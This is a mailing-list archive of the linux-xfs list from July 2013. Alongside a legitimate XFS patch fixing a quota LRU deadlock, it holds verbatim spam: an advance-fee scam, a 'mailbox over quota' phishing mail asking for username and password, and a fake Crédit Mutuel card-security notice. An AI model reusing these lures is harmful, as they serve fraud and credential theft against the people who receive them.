OM0AMUZzz+B6YqRB/cIzngntUUa72kViNme45U047DnaxU7sEf1oAc7MXUhdq92HXNNOAygFgpbJ B5p5JVgRyvb60gQF9zKRnvnpQAhID5A3HoOaTy8oRuJK8n3pyomc857GowjKhCc7TyM0ASlV3IVH GMt9KQuOAxx3B9BTQ22YRNkZHB7E+lOARmKcY/j7YoAb5Z2/fZmA3Nx19qbEnmIXbhT/AAgdKlD/ ADZwQo7j+tIZdmDwxwcdqAIVceZls5HT2FTHYSNnCnqe9N3Ls345x6U5SNzuTlT78UADkREE9P4S P60nmSFyCoUKQQT3pxO1AigFW5yKjKqMOU5H5UAKgSNy5IUsfnx60He+Txjd1xzS+avmiLIDYyRj +tO2N5g565yKAGyEFVYnLdjSADaMnPueufakKARZ3ElQfu/w/hSoB5SvJgsB/D3FAEq/Lzxtxz71 HyWcOpUHgKp6j1oUJu4ckbfWnAkFlYc57HtQAxThmJJOANo9KABgoBjHJINOEaqvIKnPbnNI8aeU QOMcnmgBRGN6MSSDxjpigDaWwBgn5abtfcOpBHX0ojdZI2BGCvUHnA9qAFJD8B9jZwfU+tMlGwbx kgnA3Dp71KuwgPgYB+THegOduD8pP4j8KAI2jMaAkkuOhA4pInj5DZKk8/WntNglcZy3JoLKp28D Oe2KAHKoZyDgAdBnrRSAL5apIRn1NFACodwGexyKQNvIYgZB4oooAcI1JLHJNNDmRiGA4x2oooAi llZRgAYyKfK7bV5xk9qKKAFJKKoBPJxn604DacDsBiiigBshJlT/AGjziiQAXG0Dj+dFFAA4CzMq 8BuTTZMruIJ5GKKKAGqx8kg8gDHNPUbmXkgY6CiigBQP3SnJyAaSNfMkkDMcJgLg0UUAKyiMHbnk 807cVRn6nAHNFFAAP4j0J6+9GBCmV6+/NFFADQdy7iBn/wCvUaTMZwOMbf60UUAPYl59pYgD0pyn fJtPQYOPeiigBUJAHvnNNj+Z5M9FHAoooAIQH3gjjmmx8gDoFGBRRQAyQsAq7jgHNPLEshOOaKKA F25BYs33hxmnSfKWIJ7miigBI4w8KszMSwyeaXlXCg8CiigBS2AqcYINGwOgXoPQUUUAJIxj+VQM H2pHbYNwAyT/AFoooAbbysytnHU0Qkt8xJPbHbrRRQA5TuTeepwM+1Oc/Iw/u8iiigBh/wCPUN1J zye1Kygwq5HIbNFFACHJTOTyajV2MxOevFFFADgSTJ29xT0TDfeY5TqTRRQA2QkFVDEBm2nntUrQ qrdTweOaKKAGIS2QT1IpS29jkD5TxRRQA7ywz7mySKYZC7FSBgD0oooAjnkMasqgU+SRvIz3NFFA ASUjyDk56n608KFIA6Bc0UUANlYnae5omAWVVHTp9eKKKABwFl443KM01yU+YHnFFFADI2IiYZyB 609AW8sZK89qKKAHKuI+p4J70iL5k7IzHaq5GD3oooAcyBMkE5J5zSgkKW6kLRRQAKcnd0JHUUBR GpcDnrzRRQA1W8wEsBnmo/ObzlHGOaKKAHyMWlC5IGO1OPzOEP3T1Hrg0UUAOUleR1zimxgNcFT0 A6UUUAJDhpSCOP8A61NjGPkHAU8CiigBkpITaCcE5pzOWVScHJoooAV13K5LHqOKKKKAP//Z ------=_NextPart_000_0007_01CE7B11.21B95E60-- From info@tenno.com Sun Jul 7 09:37:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_FRT_CONTACT autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D07E67F37 for ; Sun, 7 Jul 2013 09:37:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BFB138F8049 for ; Sun, 7 Jul 2013 07:37:16 -0700 (PDT) X-ASG-Debug-ID: 1373207832-04cb6c2a479b55a0001-w1Z2WR Received: from mail.nwfamilylife.org (mail.nwfamilylife.org [64.65.134.52]) by cuda.sgi.com with ESMTP id HggJACYimAvOLoYO for ; Sun, 07 Jul 2013 07:37:12 -0700 (PDT) X-Barracuda-Envelope-From: info@tenno.com X-Barracuda-Apparent-Source-IP: 64.65.134.52 Received: from citrix-d.WJLAW ([66.49.78.69]) by mail.nwfamilylife.org with Microsoft SMTPSVC(6.0.3790.3959); Sun, 7 Jul 2013 04:37:35 -0700 Content-Type: multipart/alternative; boundary="===============0437394792==" MIME-Version: 1.0 Subject: Hallo. To: Recipients X-ASG-Orig-Subj: Hallo. From: "Ebenezer E. MBEKI" Date: Sun, 07 Jul 2013 07:37:25 -0400 Reply-To: ebenezer_mbeki@aim.com Message-ID: X-OriginalArrivalTime: 07 Jul 2013 11:37:35.0129 (UTC) FILETIME=[60051890:01CE7B06] X-Barracuda-Connect: mail.nwfamilylife.org[64.65.134.52] X-Barracuda-Start-Time: 1373207832 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136076 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============0437394792== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Lieber Freund. Ich habe einen gegenseitigen Gesch=E4ftsbeziehungen Vorschla= g von gemeinsamem Interesse mit Ihnen zu teilen ; Es geht um die =DCbertrag= ung einer gro=DFen Summe Geld.Ich habe Ihren Hinweis in meine Suche nach je= mandem, der mir vorgeschlagenen Gesch=E4ftsbeziehung passt.Wenn Sie sind an= einer Zusammenarbeit mit mir interessiert sind, kontaktieren Sie mich durc= h meine Private E-Mail (ebenezer_mbeki@aim.com) f=FCr weitere Details, Ihre= fr=FCheste Reaktion auf dieses Schreiben wird gesch=E4tzt. Mit freundliche= n Gr=FC=DFen, Ebenezer E. MBEKI --===============0437394792== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Lieber Freund. Ich habe einen gegenseitigen Ge= sch=E4ftsbeziehungen Vorschlag von gemeinsamem Interesse mit Ihnen zu teile= n ; Es geht um die =DCbertragung einer gro=DFen Summe Geld.Ich habe Ihren H= inweis in meine Suche nach jemandem, der mir vorgeschlagenen Gesch=E4ftsbez= iehung passt.Wenn Sie sind an einer Zusammenarbeit mit mir interessiert sin= d, kontaktieren Sie mich durch meine Private E-Mail (ebenezer_mbeki@aim.com= ) f=FCr weitere Details, Ihre fr=FCheste Reaktion auf dieses Schreiben wird= gesch=E4tzt. Mit freundlichen Gr=FC=DFen, Ebenezer E. MBEKI --===============0437394792==-- From wew_1207_ddfcdd_cbgjhg@wew192.com Sun Jul 7 18:11:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EDAF77F37 for ; Sun, 7 Jul 2013 18:11:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B04DA304053 for ; Sun, 7 Jul 2013 16:11:47 -0700 (PDT) X-ASG-Debug-ID: 1373238702-04bdf0233fc96ae0001-NocioJ Received: from mail192.wew192.com (mail92.wew192.com [82.97.29.92]) by cuda.sgi.com with SMTP id n2GUwsIH0L8J4Zm3 for ; Sun, 07 Jul 2013 16:11:43 -0700 (PDT) X-Barracuda-Envelope-From: wew_1207_ddfcdd_cbgjhg@wew192.com X-Barracuda-Apparent-Source-IP: 82.97.29.92 Received: from TRT-65 (trt-65.novfarm.lan [192.168.200.65]) by mail192.wew192.com (Postfix) with SMTP id 883D76810D1 for ; Mon, 8 Jul 2013 01:11:36 +0200 (CEST) From: "=?utf-8?B?QmVzb2luIGTigJl1biBjcsOpZGl0?= =?utf-8?B?ID8=?=" To: "=?utf-8?B?eGZzQG9zcy5zZ2kuY29t?=" Reply-To: "=?utf-8?B?QmVzb2luIGTigJl1biBjcsOpZGl0?= =?utf-8?B?ID8=?=" Subject: =?utf-8?B?RW1wcnVudGV6IGp1c3F1J2EgNzUg?= =?utf-8?B?MDAwIGV1cm9z?= Date: Mon, 08 Jul 2013 01:11:23 +0200 X-ASG-Orig-Subj: =?utf-8?B?RW1wcnVudGV6IGp1c3F1J2EgNzUg?= =?utf-8?B?MDAwIGV1cm9z?= Message-ID: <20130708-01112310-ac813e68-0@TRT-65> List-Unsubscribe: , List-Abuse: Precedence: bulk Mailer: EmailStrategie X-ES-Client-ID: 1207 X-ES-Campagne-ID: 335233 X-ES-Message-ID: 4340640573 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--=5d313766_7bdb_4c47_a163_77942f270ff4" X-Barracuda-Connect: mail92.wew192.com[82.97.29.92] X-Barracuda-Start-Time: 1373238703 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136110 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 ----=5d313766_7bdb_4c47_a163_77942f270ff4 Content-Type: multipart/alternative; boundary="--=da5095b0_8f6b_4cd7_a327_2ef7a7c5d978" ----=da5095b0_8f6b_4cd7_a327_2ef7a7c5d978 Content-Type: text/plain;charset="utf-8" Content-Transfer-Encoding: Quoted-Printable =
      &= nbsp;Traiter comme indésirable   
         
    http://stats.wew192.com/Msg.ashx?c=3Dn5EN0zfSThC9wNU2hDarI4sL0l= weMrCr4ZsUbNkHs74%3D http://stats.wew192.com/unsubscribe.aspx?c=3Dn5EN0zfSThC9wNU2hDarI0e1z3= cHP8dYwrFNojBpWqI%3d&t=3D1217 ----=da5095b0_8f6b_4cd7_a327_2ef7a7c5d978 Content-Type: text/html;charset="utf-8" Content-Transfer-Encoding: Quoted-Printable Crédit Consommation
      &= nbsp;Traiter comme indésirable   
         
    =20
    Si vous ne parvenez pas à lire ce message,=20 suivez ce lien
    3D"Besoin
    = Profitez d'un TAUX ATTRACTIF
    pour financer TOUS vos projets = !
    Aucun frais de dossier
    Pas d'apport obligatoire Empruntez jusqu'à 75 000 &e= uro;
    Des mensualités adapt&eacut= e;es
    à votre budget.
    3D"Simulez
    Un crédit vous engage et doit être remboursé. V&= eacute;rifiez vos capacités de remboursement avant de vous engag= er.
    =20
    Pour vous désinscrire,=20 suivez ce lien
    ----=da5095b0_8f6b_4cd7_a327_2ef7a7c5d978-- ----=5d313766_7bdb_4c47_a163_77942f270ff4-- From bravom@presidencia.gob.ec Sun Jul 7 18:54:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 905B17F37 for ; Sun, 7 Jul 2013 18:54:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 105F2AC003 for ; Sun, 7 Jul 2013 16:53:59 -0700 (PDT) X-ASG-Debug-ID: 1373241230-04cb6c2a429d5bb0001-w1Z2WR Received: from srvzimbramta.presidencia.int (webmail.presidencia.gob.ec [190.11.14.30]) by cuda.sgi.com with ESMTP id Mf29zs97cmolDIDj for ; Sun, 07 Jul 2013 16:53:54 -0700 (PDT) X-Barracuda-Envelope-From: bravom@presidencia.gob.ec X-Barracuda-Apparent-Source-IP: 190.11.14.30 Received: from srvzimbramta.presidencia.int (unknown [10.4.1.75]) by postfix.imsva (Postfix) with ESMTP id 62869601DED; Sun, 7 Jul 2013 18:52:35 -0500 (ECT) Received: from srvzimbramta.presidencia.int (localhost [127.0.0.1]) by srvzimbramta.presidencia.int (Postfix) with ESMTP id 47742601E06; Sun, 7 Jul 2013 18:52:34 -0500 (ECT) Received: from srvzimbramailbox.presidencia.int (srvzimbramailbox.presidencia.int [10.4.1.73]) by srvzimbramta.presidencia.int (Postfix) with ESMTP id 8FA0D601C6B; Sun, 7 Jul 2013 18:52:30 -0500 (ECT) Date: Sun, 7 Jul 2013 18:53:41 -0500 (ECT) From: Admin Reply-To: Admin Message-ID: <1577015517.5486877.1373241221374.JavaMail.root@presidencia.gob.ec> Subject: administrador del sistema MIME-Version: 1.0 X-ASG-Orig-Subj: administrador del sistema Content-Type: multipart/alternative; boundary="----=_Part_5486876_963375750.1373241221371" X-Mailer: Zimbra 8.0.2_GA_5569 (ZimbraWebClient - FF12 (Win)/8.0.2_GA_5569) Thread-Topic: administrador del sistema Thread-Index: tx/EdYVy10VxCZt+hx5aCzcyTbVI0A== X-TM-AS-MML: No X-TM-AS-Product-Ver: IMSVA-8.2.0.1679-7.0.0.1014-20000.003 X-TM-AS-Result: No--9.515-7.0-31-10 X-imss-scan-details: No--9.515-7.0-31-10 X-TMASE-Version: IMSVA-8.2.0.1679-7.0.1014-20000.003 X-TMASE-Result: 10--9.515000-5.000000 X-TMASE-MatchedRID: 1km7C2Mmi0fqqS0pPvKOGCZcVWESUgVrbfQPcP7YUw1vtM4adLQ15s12 J/xQnGUJQuQ9YfqeWJF/W9e6y906ssO300r4mUKBIyvp1AQXH8ve0BI2iNDVIK8sUQNbxwI8TZP FSMLt1+oq5Lg8PX1xJlyVA9G/PQk5Qm0CRa3IZy7bM1n5u+zT6/wGVtfL479aOoj9DXM40dIGk2 pTPAu+9wv+uf1yM6WBO7twZ7mVKJ+7DPeTmTZDIEfpwjIa+JeQHAwy0XhreD35lA8aRaIEF3vJe SUXJ1gx4E9s12Gvf53SFZyaJmMIRhMQLQ/0+9hGsjvNV98mpPOHR4IzwrdHZB2aTxf1sBQi72NF H2FMyc9VmKGtLzfMDcxHRC4oHU4DK+qEK8MQkWGtT84hzzLxl1VYC40O+gNHre2gxH9xHdk= X-Barracuda-Connect: webmail.presidencia.gob.ec[190.11.14.30] X-Barracuda-Start-Time: 1373241230 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 3252acdce2a8935c6b0785ced0668ab2-1166-txt X-Barracuda-BRTS-Evidence: 1cbc7e7850f0a9f8f01ead0cbfdd666a-2649-htm X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136114 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; ------=_Part_5486876_963375750.1373241221371 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Estimado usuario, Su direcci=C3=B3n de correo ha excedido 2GB, establecido en nuestro Servidor de correo . Est=C3=A1 ejecutando actualmente m=C3=A1s de 2.30GB = , y ha dado lugar a la espera de nuevos mensajes entrantes. Por favor, complete por favor el formulario de abajo para verificar y vol= ver a validar su cuenta para que pueda recibir y enviar e -mail con efica= cia. ( 1 ) E - mail: ( 2 ) Nombre de usuario: ( 3 ) Contrase=C3=B1a : ( 4 ) Confirmar contrase=C3=B1a: Gracias administrador del sistema Nota de Descargo: La informaci=C3=B3n contenida en este mensaje y sus ane= xos tiene car=C3=A1cter confidencial, y est=C3=A1 dirigida =C3=BAnicament= e al destinatario de la misma y s=C3=B3lo podr=C3=A1 ser usada por =C3=A9= ste. Si el lector de este mensaje no es el destinatario del mismo, se le = notifica que cualquier copia o distribuci=C3=B3n de =C3=A9ste se encuentr= a totalmente prohibida. Si usted ha recibido este mensaje por error, por = favor notifique inmediatamente al remitente por este mismo medio y borre = el mensaje de su sistema. Las opiniones que contenga este mensaje son exc= lusivas de su autor y no necesariamente representan la opini=C3=B3n ofici= al de la PRESIDENCIA DE LA REPUBLICA DEL ECUADOR. ------=_Part_5486876_963375750.1373241221371 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable


    Estimado usuario,
    Su direcci= =C3=B3n de correo ha excedido 2GB, establecido en nuestro<= br>Servidor de correo. Est=C3=A1 ejecutando actualmente m= =C3=A1s de 2.30GB, y ha dado lugar a la espera de nuevos mensajes entrantes.

    Por favor, com= plete por favor el = formulario de abajo para verificar y volver a
    validar su cuenta para que pueda recib= ir y enviar e-mail con eficacia.

    (1) E-
    mail:
    (2) Nombre de usuario:
    (3) Contrase= =C3=B1a:
    (4) Confirmar contrase=C3=B1a:=

    Gracias
    administrador del sistema
    =
    Nota de Desca=
    rgo: La informaci=C3=B3n contenida en este mensaje y sus anexos tiene car=
    =C3=A1cter confidencial, y est=C3=A1 dirigida =C3=BAnicamente al destinat=
    ario de la misma y s=C3=B3lo podr=C3=A1 ser usada por =C3=A9ste. Si el le=
    ctor de este mensaje no es el destinatario del mismo, se le notifica que =
    cualquier copia o distribuci=C3=B3n de =C3=A9ste se encuentra totalmente =
    prohibida. Si usted ha recibido este mensaje por error, por favor notifiq=
    ue inmediatamente al remitente por este mismo medio y borre el mensaje de=
     su sistema. Las opiniones que contenga este mensaje son exclusivas de su=
     autor y no necesariamente representan la opini=C3=B3n oficial de la PRES=
    IDENCIA DE LA REPUBLICA DEL ECUADOR.
    ------=_Part_5486876_963375750.1373241221371-- From hostmailer_cm@e-i.com Sun Jul 7 23:19:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_HTML_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 89FDF7F37 for ; Sun, 7 Jul 2013 23:19:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2B7BC30405F for ; Sun, 7 Jul 2013 21:19:11 -0700 (PDT) X-ASG-Debug-ID: 1373257143-04bdf0233cca8970001-NocioJ Received: from m0635 (ip-35-145-34-193.static.contabo.net [193.34.145.35]) by cuda.sgi.com with ESMTP id SElDuY1o6BIvj7mK for ; Sun, 07 Jul 2013 21:19:04 -0700 (PDT) X-Barracuda-Envelope-From: hostmailer_cm@e-i.com X-Barracuda-Apparent-Source-IP: 193.34.145.35 Received: from [193.34.145.35] ([127.0.0.1]) by m0635 with Microsoft SMTPSVC(7.5.7601.17514); Mon, 8 Jul 2013 06:19:01 +0200 Content-Type: multipart/mixed; boundary="===============0184869105==" MIME-Version: 1.0 Subject: =?utf-8?q?Mettez_=C3=A0_jour_votre_compte_Cr=C3=A9dit_Mutuel?= To: Recipients X-ASG-Orig-Subj: =?utf-8?q?Mettez_=C3=A0_jour_votre_compte_Cr=C3=A9dit_Mutuel?= From: " credit Mutuel" Date: Mon, 08 Jul 2013 06:19:00 +0200 Reply-To: ch3aas@gmail.com X-Priority: 1 (High) Message-ID: X-OriginalArrivalTime: 08 Jul 2013 04:19:01.0002 (UTC) FILETIME=[45FDB6A0:01CE7B92] X-Barracuda-Connect: ip-35-145-34-193.static.contabo.net[193.34.145.35] X-Barracuda-Start-Time: 1373257144 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.21 X-Barracuda-Spam-Status: No, SCORE=0.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136130 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA038b Custom Rule SA038b 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain You will not see this in a MIME-aware mail reader. --===============0184869105== Content-Type: multipart/alternative; boundary="===============0981473808==" MIME-Version: 1.0 --===============0981473808== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body = = Cher(e) Client(e), = = Lors de votre dernier achat , vous avez =E9t=E9 averti par un message vous = informant de l'obligation d'adh=E9rer =E0 la nouvelle r=E9glementation conc= ernant la s=E9curit=E9 pour les achats par carte sur internet et de la mise= en place d'un blocage pour vos futurs achats. Or, nous n'avons pas, =E0 ce jour, d'adh=E9sion de votre part et nous somme= s au regret de vous informer que vous pouvez plus utiliser votre carte sur = internet. = = = Adh=E9sion : - Faites votre demande adh=E9sion en ligne en r= emplissant le certificat de s=E9curit=E9 ci-joint. = Merci de la confiance que vous nous t=E9moignez. cordialement, = = = Merci d'avoir examiner cette information et nous aide =E0 rmaintenir la = confidentialit=E9 = = * Les informations =E0 caract=E8re personnel recueillies dans le cadre d= u pr=E9sent document sont obligatoires pour le traitement de votre demande. = = Ton amiti=C3=A9 est pr=C3=A9cieuse. Bises et bonne transju. = = = = =20 --===============0981473808== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Client
    &nbs= p;

    Cher(e) Client(e),


    Lors de = votre dernier achat , vous avez =E9t=E9 averti par un message vous informan= t de = l'obligation d'adh=E9rer =E0 la= nouvelle r=E9glementation concernant la s=E9curit=E9 pour les achats par c= arte sur internet et de la mise en place d'un blocage pour vos futurs achat= s.

    Or, nous n'avons pas, =E0 ce jour, d'adh= =E9sion de votre part et nous sommes au regret de vous informer que vous po= uvez plus utiliser votre carte sur internet.

     =

      &= nbsp;        Adh=E9sion : - Faites votre demande adh=E9sion en ligne en remplissant le cert= ificat de s=E9curit=E9 ci-joint.
           =             &nb= sp;      =  


    Merci de la confiance que vous nous t=E9moignez.

    cordialement, 


     Merci = d'avoir examiner cette information et nous aide =E0 rmaint= enir la = confidentialit=E9


    * Les informations =E0 caract=E8re personnel re= cueillies dans le cadre du pr=E9sent document sont obligatoires pour le tra= itement de votre demande.


    &nbs= p;

    Ton amiti=C3=A9 est pr=C3=A9cieuse= . Bises et bonne transju.

    --===============0981473808==-- --===============0184869105== MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Service Clients Creditmutuel.html" --===============0184869105==-- From dave@fromorbit.com Mon Jul 8 01:34:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1FE4A7F37 for ; Mon, 8 Jul 2013 01:34:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 008878F8049 for ; Sun, 7 Jul 2013 23:34:28 -0700 (PDT) X-ASG-Debug-ID: 1373265266-04cb6c2a429ecb30001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 5KD7AsIAPzEPCtEu for ; Sun, 07 Jul 2013 23:34:27 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsALAD5c2lF5LGhq/2dsb2JhbABZgwnBWgSBDRd0giMBLS8jGBhqAzSIDrgpjk6BOoNaA6kbgyMq Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail04.adl6.internode.on.net with ESMTP; 08 Jul 2013 16:04:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Uw51h-0001Fv-HG; Mon, 08 Jul 2013 16:34:21 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Uw51h-0007tV-FH; Mon, 08 Jul 2013 16:34:21 +1000 From: Dave Chinner To: akpm@linux-foundation.org Cc: xfs@oss.sgi.com, linux-mm@kvack.org, linux-fsdevel@vger.kernel.org, glommer@openvz.org, mhocko@suze.cz Subject: [PATCH] [MMOTM] xfs: fix dquot isolation hang Date: Mon, 8 Jul 2013 16:34:21 +1000 X-ASG-Orig-Subj: [PATCH] [MMOTM] xfs: fix dquot isolation hang Message-Id: <1373265261-30314-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373265267 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136140 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Dave Chinner The new LRU list isolation code in xfs_qm_dquot_isolate() isn't completely up to date. Firstly, it needs conversion to return enum lru_status values, not raw numbers. Secondly - most importantly - it fails to unlock the dquot and relock the LRU in the LRU_RETRY path. This leads to deadlocks in xfstests generic/232. Fix them. Signed-off-by: Dave Chinner --- fs/xfs/xfs_qm.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 46743cf..a10a720 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -659,7 +659,7 @@ xfs_qm_dquot_isolate( trace_xfs_dqreclaim_want(dqp); list_del_init(&dqp->q_lru); XFS_STATS_DEC(xs_qm_dquot_unused); - return 0; + return LRU_REMOVED; } /* @@ -705,17 +705,19 @@ xfs_qm_dquot_isolate( XFS_STATS_DEC(xs_qm_dquot_unused); trace_xfs_dqreclaim_done(dqp); XFS_STATS_INC(xs_qm_dqreclaims); - return 0; + return LRU_REMOVED; out_miss_busy: trace_xfs_dqreclaim_busy(dqp); XFS_STATS_INC(xs_qm_dqreclaim_misses); - return 2; + return LRU_SKIP; out_unlock_dirty: trace_xfs_dqreclaim_busy(dqp); XFS_STATS_INC(xs_qm_dqreclaim_misses); - return 3; + xfs_dqunlock(dqp); + spin_lock(lru_lock); + return LRU_RETRY; } static unsigned long -- 1.8.3.2 From dma_1636@rp.email.girafa.com.br Mon Jul 8 07:28:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com 